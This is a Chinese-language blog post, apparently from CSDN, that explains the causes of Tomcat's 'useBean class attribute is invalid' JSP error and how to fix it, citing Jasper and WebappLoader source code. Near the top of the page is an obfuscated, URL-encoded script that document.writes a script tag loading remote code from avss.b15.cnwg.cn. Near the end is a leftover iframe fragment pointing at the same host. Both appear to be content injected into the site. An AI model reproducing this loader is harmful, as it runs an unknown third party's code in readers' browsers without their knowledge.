Tomcat 中 "The value for the useBean class attribute is invalid" 错误的排除

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Tomcat 中 "The value for the useBean class attribute is invalid" 错误的排除




原文地址:
http://community.csdn.net/Expert/topic/4881/4881981.xml?temp=.5613825
使用Tomcat 常见 "The value for the useBean class attribute is invalid" 错误。该错误是指 JSP 中给定的 useBean 标签的 class 属性的值无效(不是 Bean 的属性值)。
 
在说明这个问题前,先看看有关的 Tomcat 源代码(org.apache.jasper.compiler.Generator):
  if (beanName == null) {
      try {
          Class bean = ctxt.getClassLoader().loadClass(klass);
          int modifiers = bean.getModifiers();
          if (!Modifier.isPublic(modifiers) ||
               Modifier.isInterface(modifiers) ||
              Modifier.isAbstract (modifiers)) {
              throw new Exception("Invalid bean class modifier");
          }
          // Check that there is a 0 arg constructor
          bean.getConstructor(new Class[] {});
          generateNew = true;
      } catch (Exception e) {
          // Cannot instantiate the specified class
          if (ctxt.getOptions().getErrorOnUseBeanInvalidClassAttribute()) {
              err.jspError(n, "jsp.error.invalid.bean ", klass);
          }
      }
  }
可见错误可能的原因包括:
1. 在编译 JSP 时(不是运行时),指定的 Bean 类没找到
2. Bean 虽然找到了,但是它不是 public 的,或者找到的 class 文件是 interface 或抽象类
3. Bean 类中没有 public 的默认构建函数
第二点很明显,不用多解释,最经常发生的情况是 Bean 类忘了声明为 public 。
第三点中需要注意的是,如果你的 Bean 类没有提供任何构造函数,将自动生成一个默认构建函数,这没有问题。但是,如果你有构造函数,则不会自动生成该默认构造函数。经常被忽略的问题是写了默认构造函数却不是 public 的。
第一点看起来简单,不过却最令人头痛,尤其是在开发环境里。这里需要注意的是,"在编译 JSP 时",意味着引用 Bean 的 JSP 是新的,或者刚刚更新过,或者 TOMCAT_HOME/work 中的编译结果被清除了。此时,Tomcat 将自动(重新)编译该 JSP,此时如果发现 Bean 没找到,就会报这个错。情况因为 JSP 或者 Bean 类正在开发而变得复杂,一一列举所有情况没有意义,这里我举一些典型例子,借此应该可以举一反三:
 
如果 JSP 编译结果存在,且 JSP 没有更新,Tomcat 不会重新编译 JSP,同时默认情况也不会自动重新加载更新过的 Bean 类(参考
http://jakarta.apache.org/tomcat/tomcat-5.5-doc/config/context.html
中的 reloadable)。所以,你会发现此时即使删除了 Bean 类都没有问题,当然,更新 Bean 类也不会有什么用。如果在 JSP 编译产生之后,我们重起了服务器,由于 JSP 文件编译的结果存在,所以,可以仍然访问 JSP 页面,而不必重新编译。可是如果访问前,删掉了 Bean 类,就会报过 ClassNotFoundException 而不是上述错误。关键在于 JSP 是否经过编译,没有编译则没有找到类报告题目中的编译错误 ,编译过则是 ClassNotFoundException 运行时实例化错误。
 
还有一个更为特殊的例子。如果 Web 应用在启动时, WEB-INF/classes 目录不存在,则在启动应用后,新建 classes 目录,动态添加新的类进去是没有用的,会报告同样的错误。原因是此时的 Tomcat 不会去检查该目录,也就不会找到你需要的类。对 WEB-INF/lib 目录也是同样。这一点可以参考下面的源代码(org.apache.catalina.loader.WebappLoader):
 
  // Setting up the class repository (/WEB-INF/classes), if it exists
  String classesPath = "/WEB-INF/classes";
  DirContext classes = null;
  try {
      Object object = resources.lookup(classesPath);
      if (object instanceof DirContext) {
          classes = (DirContext) object;
      }
  } catch(NamingException e) {
      // Silent catch: it's valid that no /WEB-INF/classes collection
      // exists
  }
  if (classes != null) {
      File classRepository = null;
      String absoluteClassesPath =
          servletContext.getRealPath(classesPath);
      if (absoluteClassesPath != null) {
          classRepository = new File(absoluteClassesPath);
      } else {
          classRepository = new File(workDir, classesPath);
          classRepository.mkdirs();
          copyDir(classes, classRepository);
      }
      if(log.isDebugEnabled())
          log.debug(sm.getString("webappLoader.classDeploy", classesPath,
                       classRepository.getAbsolutePath()));
      // Adding the repository to the class loader
      classLoader.addRepository(classesPath + "/", classRepository);
      loaderRepositories.add(classesPath + "/" );
  }
 
上面最后两个语句将 "/WEB-INF/classes" 注册到类装载器中。如果目录不存在,则该目录不会被注册,即使在运行过程中创建该目录,Tomcat 目前也没有机制动态的注册该目录(应该是出于效率考虑)。
尽管这个问题的复杂场景可能不一而足,不过解决它的办法却很简单:停止服务器,确认你的 JSP 和 Bean 正确部署,清理掉 TOMCAT_HOME/work 中的内容,重起服务器。 此外,配置动态类加载对开发而言是个不错的选择。
 
本文基于 Tomcat 5.5.9 版本。  
 
我在开发 GuestBook时就是先写好JSP文件后再复制相应的Bean类文件到"/WEB-INF/classes"下,所以总是报"The value for the useBean class attribute is invalid" 错误,按上述方法简单的重启了Tomcat服务器,问题解决。

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值